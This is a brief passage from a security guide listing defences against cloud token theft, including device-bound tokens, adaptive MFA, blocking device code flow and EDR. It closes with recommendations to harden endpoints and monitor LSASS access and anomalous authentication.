  2. Token binding to devices (Conditional Access Token Protection)
  3. Risk-based authentication (Identity Protection + adaptive MFA)
  4. Reduced attack surface (block device code flow, network enforcements)
  5. Rapid detection and response (EDR, cloud logging, device revocation workflows)

Organizations should prioritize hardening endpoints (TPM, Credential Guard), enforcing token protection policies, and implementing comprehensive monitoring for LSASS access and anomalous cloud authentication patterns.